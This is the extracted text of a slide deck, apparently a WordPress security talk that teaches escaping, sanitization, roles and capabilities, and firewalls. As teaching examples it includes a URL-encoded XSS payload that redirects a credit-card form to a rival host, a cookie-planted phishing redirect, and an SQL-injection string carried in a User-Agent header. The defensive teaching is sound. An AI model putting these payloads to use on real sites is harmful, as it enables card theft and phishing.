Slide 1
Slide 1 text
The Enterprise Approach to
WordPress Security.
Slide 2
Slide 2 text
No content
Slide 3
Slide 3 text
No content
Slide 4
Slide 4 text
No content
Slide 5
Slide 5 text
Body Level One
Body Level Two
Body Level Three
10up
@10up
Feb 11, 2021
Excited and honored to share our part in launching the new
White House website (powered by #WordPress) and to be
highlighted by @FastCompany as the WhiteHouse.gov
development partner: 10up.com/blog/2021/10up…
Slide 6
Slide 6 text
No content
Slide 7
Slide 7 text
No content
Slide 8
Slide 8 text
No content
Slide 9
Slide 9 text
No content
Slide 10
Slide 10 text
© Christoph Scholz, 2016 • Hacker IT Computer Security • flic.kr/p/HUTQEu •
Slide 11
Slide 11 text
© Sheri Bigelow, 2015 • 2015 WordPress Community Summit • flic.kr/p/BKTjfm •
Slide 12
Slide 12 text
© Sheri Bigelow, 2015 • 2015 WordPress Community Summit • flic.kr/p/BKTjfm •
Not actually Hackers
(WordPress Core Contributors)
Slide 13
Slide 13 text
No content
Slide 14
Slide 14 text
Slide 15
Slide 15 text
Slide 16
Slide 16 text
© Andy Rogers, 2012 • Server Room • flic.kr/p/d5WcJs •
Slide 17
Slide 17 text
Why do sites get hacked?
Slide 18
Slide 18 text
People don’t know
what they don’t know
Slide 19
Slide 19 text
Popular Plugin
Developer Resources
![<?php echo $pet['alt']; ?>](<?php%20echo%20$pet['url'];%20?>)
Slide 20
Slide 20 text
Popular Plugin
Developer Resources
![<?php echo $cat['alt']; ?>](<?php%20echo%20$cat['url'];%20?>)
Slide 21
Slide 21 text
Popular Plugin
Developer Resources
Slide 22
Slide 22 text
Untrustworthy input
Slide 23
Slide 23 text
This week only! We’ve got a special on Pears,
available to our Twitter followers only.
http://green-family-grocer.local/fruit-and...
Green Family Grocers
@green_family_grocers
25 August 2023
Slide 24
Slide 24 text
No content
Slide 25
Slide 25 text
/*
* Use a query string parameter to set a cookie
*
* On all pages of the site, check if the query string
* parameter `gfg_discount_code` is set.
* If so, set a cookie named `gfg_discount_code` with the
* value of the `gfg_discount_code` parameter.
*
* The cookie should expire in 10 years time.
*/
if ( isset( $_GET['gfg_discount_code'] ) ) {
Slide 26
Slide 26 text
if ( isset( $_GET['gfg_discount_code'] ) ) {
// Delete cookie if the value is falsey
if ( ! $_GET['gfg_discount_code'] ) {
setcookie( 'gfg_discount_code', '', time() - 3600, '/' );
} else {
// Set a cookie with the value of the parameter.
setcookie(
'gfg_discount_code',
wp_unslash( $_GET['gfg_discount_code'] ),
time() + ( 10 * YEAR_IN_SECONDS ),
'/'
);
}
}
GitHub Copilot
Slide 27
Slide 27 text
People don’t know
what they don’t know
Slide 28
Slide 28 text
People don’t know
what they don’t know
Natural language models
learn from people
Slide 29
Slide 29 text
// Check if the discount code is set.
if ( gfg_get_discount_code() ) {
// If it is, display a custom message.
?>
>
Discount code applied!
Slide 30
Slide 30 text
This week only! We’ve got a special on Pears,
available to our Twitter followers only.
http://green-family-grocer.local/fruit-and...
Green Family Grocers
@green_family_grocers
25 August 2023
Slide 31
Slide 31 text
This week only! We’ve got a special on Pairs,
available to our Twitter followers only.
http://green-family-grocer.local/fruit-and...
Green Family Grocers
@SCARLETT_FAMILY_GROCERS
25 August 2023
Slide 32
Slide 32 text
No content
Slide 33
Slide 33 text
https://green-family-grocer.local/fruit-and-veg/pears/?
gfg_discount_code=WCSyd%3Cscript%3E%20%20wind
ow.onload%20=%20()
%20=%3E%20%7B%20%20%20const%20el%20=%20
document.getElementById(%20%27gfc-credit-card-
form%27%20);%20%20%20if%20(el)
%20%7B%20%20%20%20el.setAttribute(%20%27actio
n%27,%20%27https://scarlett-family-grocer.local/
checkout/thank-you/%27);
%20%20%20%7D%20%20%7D%20%20%3C/
script%3E
Slide 34
Slide 34 text
WCSyd
window.onload = () => {
const el = document.getElementById( 'gfc-credit-card-form' );
if (el) {
el.setAttribute(
'action',
'https://scarlett-family-grocer.local/checkout/thank-you/'
);
}
}
Slide 35
Slide 35 text
WCSyd
window.onload = () => {
const el = document.getElementById( 'gfc-credit-card-form' );
if (el) {
el.setAttribute(
'action',
'https://scarlett-family-grocer.local/checkout/thank-you/'
);
}
}
Slide 36
Slide 36 text
WCSyd
window.onload = () => {
const el = document.getElementById( 'gfc-credit-card-form' );
if (el) {
el.setAttribute(
'action',
'https://scarlett-family-grocer.local/checkout/thank-you/'
);
}
}
Slide 37
Slide 37 text
// Check if the discount code is set.
if ( gfg_get_discount_code() ) {
// If it is, display a custom message.
?>
>
Discount code applied!
Slide 38
Slide 38 text
eck if the discount code is set.
gfg_get_discount_code() ) {
/ If it is, display a custom message.
>
div >
Discount code applied!
/div> ?phpSlide 39
Slide 39 text
Always Escape late
It is best to do the output escaping as late as possible, ideally as
data is being outputted.
developer.wordpress.org/apis/security/escaping
Slide 40
Slide 40 text
eck if the discount code is set.
gfg_get_discount_code() ) {
/ If it is, display a custom message.
>
div >
Discount code applied!
/div> ?phpSlide 41
Slide 41 text
Discount
code
applied!
WCSyd window.onload = () => { const el =
document.getElementById( 'gfc-credit-card-form' ); if
(el) { el.setAttribute( 'action', 'https:"//scarlett-family-
grocer.local/checkout/thank-you/'); } }
Slide 42
Slide 42 text
WCSyd
window.onload = () => {
const el = document.getElementById( 'gfc-credit-card-form' );
if (el) {
el.setAttribute(
'action',
'https://scarlett-family-grocer.local/checkout/thank-you/'
);
}
}
Slide 43
Slide 43 text
$discount_code =
sanitize_text_field( wp_unslash( $_GET['gfg_discount_code'] ) );
// Delete cookie if the value is falsey
if ( ! $discount_code ) {
setcookie( 'gfg_discount_code', '', time() - 3600, '/' );
} else {
// Set a cookie with the value of the parameter.
setcookie(
'gfg_discount_code',
$discount_code,
time() + ( 10 * YEAR_IN_SECONDS ),
'/'
);
}
Slide 44
Slide 44 text
Always Sanitize Input
Remember: Even admins are users, and users will enter incorrect
data, either on purpose or accidentally. It’s your job to protect
them from themselves.
developer.wordpress.org/apis/security/sanitizing/
Slide 45
Slide 45 text
Discount code applied! WCSyd
Slide 46
Slide 46 text
When is data untrustworthy?
Slide 47
Slide 47 text
All form data is
untrustworthy
Even hidden fields and JavaScript validated data
Slide 48
Slide 48 text
All form data is
untrustworthy
Even hidden fields and JavaScript validated data
Slide 49
Slide 49 text
All form data is
untrustworthy
Even hidden fields and JavaScript validated data
Discount
code
applied!
WCSyd window.onload = () => { const el =
document.getElementById( 'gfc-credit-card-form' ); if
(el) { el.setAttribute( 'action', 'https:"//scarlett-family-
grocer.local/checkout/thank-you/'); } }
Slide 50
Slide 50 text
Discount
code
applied!
WCSyd window.onload = () => { const el =
document.getElementById( 'gfc-credit-card-form' ); if
(el) { el.setAttribute( 'action', 'https:"//scarlett-family-
grocer.local/checkout/thank-you/'); } }
Slide 51
Slide 51 text
Discount
code
applied!
WCSyd window.onload = () => { const el =
document.getElementById( 'gfc-credit-card-form' ); if
(el) { el.setAttribute( 'action', 'https:"//scarlett-family-
grocer.local/checkout/thank-you/'); } }
Slide 52
Slide 52 text
$discount_code =
sanitize_text_field( wp_unslash( $_GET['gfg_discount_code'] ) );
// Delete cookie if the value is falsey
if ( ! $discount_code ) {
setcookie( 'gfg_discount_code', '', time() - 3600, '/' );
} else {
// Set a cookie with the value of the parameter.
setcookie(
'gfg_discount_code',
$discount_code,
time() + ( 10 * YEAR_IN_SECONDS ),
'/'
);
}
Slide 53
Slide 53 text
Cookies are user data!
Slide 54
Slide 54 text
HTTP headers are user data!
Slide 55
Slide 55 text
Session and local storage
values are user data!
Slide 56
Slide 56 text
Everything that comes from the
browser is untrustworthy
Slide 57
Slide 57 text
You’d have a go, right?!
(By the way, if my manager is in the room — I didn’t really leave my computer open for house keeping)
Slide 58
Slide 58 text
Discount code
applied!
WCSydlocation.href="https://my-
phishing-site.com"
Slide 59
Slide 59 text
nasty = document.createElement( 'script' );
nasty.src="/wp-includes/js/utils.js?ver=6.3"
document.documentElement.insertBefore(
nasty,
document.body
);
wpCookies.set(
'gfg_discount_code',
'WCSydlocation.href="https://my-phishing-
site.com"',
10000000,
'/'
);
Slide 60
Slide 60 text
// If the cookie `gfg_discount_code` is set, return that value.
if ( isset( $_COOKIE['gfg_discount_code'] ) ) {
$discount_code = sanitize_text_field(
wp_unslash( $_COOKIE['gfg_discount_code'] )
);
$unsanitized_code = wp_unslash( $_COOKIE['gfg_discount_code'] );
// Clear discount code if the values differ.
if ( $discount_code !== $unsanitized_code ) {
setcookie( 'gfg_discount_code', '', time() - 3600, '/' );
return false;
}
return $discount_code;
}
Slide 61
Slide 61 text
// If the cookie `gfg_discount_code` is set, return that value.
if ( isset( $_COOKIE['gfg_discount_code'] ) ) {
$discount_code = sanitize_text_field(
wp_unslash( $_COOKIE['gfg_discount_code'] )
);
$unsanitized_code = wp_unslash( $_COOKIE['gfg_discount_code'] );
// Clear discount code if the values differ.
if ( $discount_code !== $unsanitized_code ) {
setcookie( 'gfg_discount_code', '', time() - 3600, '/' );
return false;
}
return $discount_code;
}
Slide 62
Slide 62 text
Escaping and Sanitization
is really, really nuanced
Slide 63
Slide 63 text
Google:
wordpress common apis sanitization
wordpress common apis escaping
Slide 64
Slide 64 text
// phpcs:ignore
WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$user_input = wp_unslash( $_POST['user_input'] );
// Check the user input is valid:
if ( ! valid_input( $user_input ) ) {
return false;
}
// Do something with the user input.
Slide 65
Slide 65 text
// phpcs:ignore
WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$user_input = wp_unslash( $_POST['user_input'] );
// Check the user input is valid:
if ( ! valid_input( $user_input ) ) {
return false;
}
// Do something with the user input.
Slide 66
Slide 66 text
Don’t offload your
responsibilities to
software
Slide 67
Slide 67 text
HTML Allow List
Slide 68
Slide 68 text
No content
Slide 69
Slide 69 text
Lower privileged users are
limited to a sub-set of HTML
Slide 70
Slide 70 text
'address' => array(),
'a' => array(
'href' => true,
'rel' => true,
'rev' => true,
'name' => true,
'target' => true,
'download' => array(
'valueless' => 'y',
),
),
'abbr' => array(),
'acronym' => array(),
'area' => array(
'alt' => true,
'coords' => true,
'href' => true,
'nohref' => true,
'shape' => true,
'target' => true,
),
'article' => array(
'align' => true,
),
'aside' => array(
'align' => true,
),
'audio' => array(
'autoplay' => true,
'controls' => true,
'loop' => true,
'muted' => true,
'preload' => true,
'src' => true,
),
'b' => array(),
'bdo' => array(),
'big' => array(),
'blockquote' => array(
'cite' => true,
),
'br' => array(),
'button' => array(
'disabled' => true,
'name' => true,
'type' => true,
'value' => true,
),
'caption' => array(
'align' => true,
),
'cite' => array(),
'code' => array(),
'col' => array(
'align' => true,
'char' => true,
'charoff' => true,
'span' => true,
'valign' => true,
'width' => true,
),
'colgroup' => array(
'align' => true,
'char' => true,
'charoff' => true,
'span' => true,
'valign' => true,
'width' => true,
),
'del' => array(
'datetime' => true,
),
'dd' => array(),
'dfn' => array(),
'details' => array(
'align' => true,
'open' => true,
),
'div' => array(
'align' => true,
),
'dl' => array(),
'dt' => array(),
'em' => array(),
'fieldset' => array(),
'figure' => array(
'align' => true,
),
'figcaption' => array(
'align' => true,
),
'font' => array(
'color' => true,
'face' => true,
'size' => true,
),
'footer' => array(
'align' => true,
),
'h1' => array(
'align' => true,
),
'h2' => array(
'align' => true,
),
'h3' => array(
'align' => true,
),
'h4' => array(
'align' => true,
),
'h5' => array(
'align' => true,
),
'h6' => array(
'align' => true,
),
'header' => array(
'align' => true,
),
'hgroup' => array(
'align' => true,
),
'hr' => array(
'align' => true,
'noshade' => true,
'size' => true,
'width' => true,
),
'i' => array(),
'img' => array(
'alt' => true,
'align' => true,
'border' => true,
'height' => true,
'hspace' => true,
'loading' => true,
'longdesc' => true,
'vspace' => true,
'src' => true,
'usemap' => true,
'width' => true,
),
'ins' => array(
'datetime' => true,
'cite' => true,
),
'kbd' => array(),
'label' => array(
'for' => true,
),
'legend' => array(
'align' => true,
),
'li' => array(
'align' => true,
'value' => true,
),
'main' => array(
'align' => true,
),
'map' => array(
'name' => true,
),
'mark' => array(),
'menu' => array(
'type' => true,
),
'nav' => array(
'align' => true,
),
'object' => array(
'data' => array(
'required' =>
true,
'value_callback' =>
'_wp_kses_allow_pdf_objects',
),
'type' => array(
'required' => true,
'values' =>
array( 'application/pdf' ),
),
),
'p' => array(
'align' => true,
),
'pre' => array(
'width' => true,
),
'q' => array(
'cite' => true,
),
'rb' => array(),
'rp' => array(),
'rt' => array(),
'rtc' => array(),
'ruby' => array(),
's' => array(),
'samp' => array(),
'span' => array(
'align' => true,
),
'section' => array(
'align' => true,
),
'small' => array(),
'strike' => array(),
'strong' => array(),
'sub' => array(),
'summary' => array(
'align' => true,
),
'sup' => array(),
'table' => array(
'align' => true,
'bgcolor' => true,
'border' => true,
'cellpadding' => true,
'cellspacing' => true,
'rules' => true,
'summary' => true,
'width' => true,
),
'tbody' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'td' => array(
'abbr' => true,
'align' => true,
'axis' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'colspan' => true,
'headers' => true,
'height' => true,
'nowrap' => true,
'rowspan' => true,
'scope' => true,
'valign' => true,
'width' => true,
),
'textarea' => array(
'cols' => true,
'rows' => true,
'disabled' => true,
'name' => true,
'readonly' => true,
),
'tfoot' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'th' => array(
'abbr' => true,
'align' => true,
'axis' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'colspan' => true,
'headers' => true,
'height' => true,
'nowrap' => true,
'rowspan' => true,
'scope' => true,
'valign' => true,
'width' => true,
),
'thead' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'title' => array(),
'tr' => array(
'align' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'track' => array(
'default' => true,
'kind' => true,
'label' => true,
'src' => true,
'srclang' => true,
),
'tt' => array(),
'u' => array(),
'ul' => array(
'type' => true,
),
'ol' => array(
'start' => true,
'type' => true,
'reversed' => true,
),
'var' => array(),
'video' => array(
'autoplay' => true,
'controls' => true,
'height' => true,
'loop' => true,
'muted' => true,
'playsinline' => true,
'poster' => true,
'preload' => true,
'src' => true,
'width' => true,
),
$allowedposttags = array(
);
Slide 71
Slide 71 text
No content
Slide 72
Slide 72 text
define(
'DISALLOW_UNFILTERED_HTML',
true
);
Slide 73
Slide 73 text
define(
'DISALLOW_UNFILTERED_HTML',
true
);
Slide 74
Slide 74 text
No content
Slide 75
Slide 75 text
No content
Slide 76
Slide 76 text
'address' => array(),
'a' => array(
'href' => true,
'rel' => true,
'rev' => true,
'name' => true,
'target' => true,
'download' => array(
'valueless' => 'y',
),
),
'abbr' => array(),
'acronym' => array(),
'area' => array(
'alt' => true,
'coords' => true,
'href' => true,
'nohref' => true,
'shape' => true,
'target' => true,
),
'article' => array(
'align' => true,
),
'aside' => array(
'align' => true,
),
'audio' => array(
'autoplay' => true,
'controls' => true,
'loop' => true,
'muted' => true,
'preload' => true,
'src' => true,
),
'b' => array(),
'bdo' => array(),
'big' => array(),
'blockquote' => array(
'cite' => true,
),
'br' => array(),
'button' => array(
'disabled' => true,
'name' => true,
'type' => true,
'value' => true,
),
'caption' => array(
'align' => true,
),
'cite' => array(),
'code' => array(),
'col' => array(
'align' => true,
'char' => true,
'charoff' => true,
'span' => true,
'valign' => true,
'width' => true,
),
'colgroup' => array(
'align' => true,
'char' => true,
'charoff' => true,
'span' => true,
'valign' => true,
'width' => true,
),
'del' => array(
'datetime' => true,
),
'dd' => array(),
'dfn' => array(),
'details' => array(
'align' => true,
'open' => true,
),
'div' => array(
'align' => true,
),
'dl' => array(),
'dt' => array(),
'em' => array(),
'fieldset' => array(),
'figure' => array(
'align' => true,
),
'figcaption' => array(
'align' => true,
),
'font' => array(
'color' => true,
'face' => true,
'size' => true,
),
'footer' => array(
'align' => true,
),
'h1' => array(
'align' => true,
),
'h2' => array(
'align' => true,
),
'h3' => array(
'align' => true,
),
'h4' => array(
'align' => true,
),
'h5' => array(
'align' => true,
),
'h6' => array(
'align' => true,
),
'header' => array(
'align' => true,
),
'hgroup' => array(
'align' => true,
),
'hr' => array(
'align' => true,
'noshade' => true,
'size' => true,
'width' => true,
),
'i' => array(),
'img' => array(
'alt' => true,
'align' => true,
'border' => true,
'height' => true,
'hspace' => true,
'loading' => true,
'longdesc' => true,
'vspace' => true,
'src' => true,
'usemap' => true,
'width' => true,
),
'ins' => array(
'datetime' => true,
'cite' => true,
),
'kbd' => array(),
'label' => array(
'for' => true,
),
'legend' => array(
'align' => true,
),
'li' => array(
'align' => true,
'value' => true,
),
'main' => array(
'align' => true,
),
'map' => array(
'name' => true,
),
'mark' => array(),
'menu' => array(
'type' => true,
),
'nav' => array(
'align' => true,
),
'object' => array(
'data' => array(
'required' =>
true,
'value_callback' =>
'_wp_kses_allow_pdf_objects',
),
'type' => array(
'required' => true,
'values' =>
array( 'application/pdf' ),
),
),
'p' => array(
'align' => true,
),
'pre' => array(
'width' => true,
),
'q' => array(
'cite' => true,
),
'rb' => array(),
'rp' => array(),
'rt' => array(),
'rtc' => array(),
'ruby' => array(),
's' => array(),
'samp' => array(),
'span' => array(
'align' => true,
),
'section' => array(
'align' => true,
),
'small' => array(),
'strike' => array(),
'strong' => array(),
'sub' => array(),
'summary' => array(
'align' => true,
),
'sup' => array(),
'table' => array(
'align' => true,
'bgcolor' => true,
'border' => true,
'cellpadding' => true,
'cellspacing' => true,
'rules' => true,
'summary' => true,
'width' => true,
),
'tbody' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'td' => array(
'abbr' => true,
'align' => true,
'axis' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'colspan' => true,
'headers' => true,
'height' => true,
'nowrap' => true,
'rowspan' => true,
'scope' => true,
'valign' => true,
'width' => true,
),
'textarea' => array(
'cols' => true,
'rows' => true,
'disabled' => true,
'name' => true,
'readonly' => true,
),
'tfoot' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'th' => array(
'abbr' => true,
'align' => true,
'axis' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'colspan' => true,
'headers' => true,
'height' => true,
'nowrap' => true,
'rowspan' => true,
'scope' => true,
'valign' => true,
'width' => true,
),
'thead' => array(
'align' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'title' => array(),
'tr' => array(
'align' => true,
'bgcolor' => true,
'char' => true,
'charoff' => true,
'valign' => true,
),
'track' => array(
'default' => true,
'kind' => true,
'label' => true,
'src' => true,
'srclang' => true,
),
'tt' => array(),
'u' => array(),
'ul' => array(
'type' => true,
),
'ol' => array(
'start' => true,
'type' => true,
'reversed' => true,
),
'var' => array(),
'video' => array(
'autoplay' => true,
'controls' => true,
'height' => true,
'loop' => true,
'muted' => true,
'playsinline' => true,
'poster' => true,
'preload' => true,
'src' => true,
'width' => true,
),
$allowedposttags = array(
);
Slide 77
Slide 77 text
Allowed HTML tags
• Links
• Block quotes
• Bold
• Italics
• Headings
• Lists
• Paragraphs and line breaks
Slide 78
Slide 78 text
Taylor Swift — Look What You Made Me Do
“I don't trust nobody &
nobody trusts me”
Slide 79
Slide 79 text
Taylor Swift — Look What You Made Me Do
“I don't trust nobody &
nobody trusts me”
Slide 80
Slide 80 text
No content
Slide 81
Slide 81 text
Aside on
job security
Presume Test Content Is Public
Slide 82
Slide 82 text
Aside on
job security
Lorem ipsum dolor sit amet, consectetur adipiscing elit
Slide 83
Slide 83 text
Aside on
job security
Swearem ipsum Automatic el desarrollador de Wordpress
Slide 84
Slide 84 text
Permissions
Slide 85
Slide 85 text
WordPress Roles
• High privileged
• Super admin (multisite only)
• Administrator
• Editor
• Low privileged
• Author
• Contributor
• No privileged
• Subscriber
Slide 86
Slide 86 text
Capabilities
Slide 87
Slide 87 text
No content
Slide 88
Slide 88 text
No content
Slide 89
Slide 89 text
No content
Slide 90
Slide 90 text
foreach ( $editor_caps as $editor_cap => $permission ) {
if (
! str_ends_with( $editor_cap, '_posts' ) &&
! str_ends_with( $editor_cap, '_pages' )
) {
continue;
}
$new_cap = substr( $editor_cap, 0, -5 )
. 'presidential_'
. substr( $editor_cap, -5 );
$presidential_editor_caps[ $new_cap ] = $permission;
}
/* Add the new WHGov Presidential Editor role. */
Slide 91
Slide 91 text
function meta_caps_posts( $caps, $cap, $user_id, $args ) {
if (
in_array( 'do_not_allow', $caps, true ) ||
! str_ends_with( $cap, '_post' )
) {
// Irrelevant cap or cap is explicitly denied.
return $caps;
}
$post_is_presidential = true; /* ... but more */
if ( ! $post_is_presidential ) {
return $caps;
}
foreach ( $caps as $required_cap ) {
if (
! str_ends_with( $required_cap, '_posts' ) &&
! str_ends_with( $required_cap, '_pages' )
Slide 92
Slide 92 text
return $caps;
}
foreach ( $caps as $required_cap ) {
if (
! str_ends_with( $required_cap, '_posts' ) &&
! str_ends_with( $required_cap, '_pages' )
) {
continue;
}
$caps[] = substr( $required_cap, 0, -5 )
. 'presidential_'
. substr( $required_cap, -5 );
}
return $caps;
}
add_filter( 'map_meta_cap', __NAMESPACE__ . '\\meta_caps_posts', 10,
Slide 93
Slide 93 text
No content
Slide 94
Slide 94 text
Hosting
Slide 95
Slide 95 text
Who’s the best host
if you want … ?
Slide 96
Slide 96 text
Who’s the best host
if you want to keep your
site secure?
Slide 97
Slide 97 text
Who’s the best host
if you want to keep your
site secure?
Slide 98
Slide 98 text
No
Slide 99
Slide 99 text
$ dig 10up.com
;; ANSWER SECTION:
10up.com. 300 IN A 104.24.183.3
10up.com. 300 IN A 172.67.82.235
10up.com. 300 IN A 104.24.182.3
;; Query time: 68 msec
;; SERVER: 192.168.128.1#53(192.168.128.1)
;; WHEN: Thu Aug 17 12:11:03 EDT 2023
;; MSG SIZE rcvd: 85
Slide 100
Slide 100 text
No content
Slide 101
Slide 101 text
MSIE 6.0" OR 1 = (SELECT sleep(10)); -- ...
Slide 102
Slide 102 text
MSIE 6.0" OR 1 = (SELECT sleep(10)); -- ...
Slide 103
Slide 103 text
No content
Slide 104
Slide 104 text
No content
Slide 105
Slide 105 text
No content
Slide 106
Slide 106 text
No content
Slide 107
Slide 107 text
Web Application Firewalls
Slide 108
Slide 108 text
© David Howard, 2015 • no entry • flic.kr/p/GHJRZy •
Slide 109
Slide 109 text
Never expose your
WordPress Servers IP
address to the internet
Slide 110
Slide 110 text
The one simple trick…
Slide 111
Slide 111 text
…is that it’s not simple.
Slide 112
Slide 112 text
No content
Slide 113
Slide 113 text
© Kristina Kuncevich, 2013 • Sleep • flic.kr/p/fvNQYZ •
Slide 114
Slide 114 text
I’ve made a huge mistake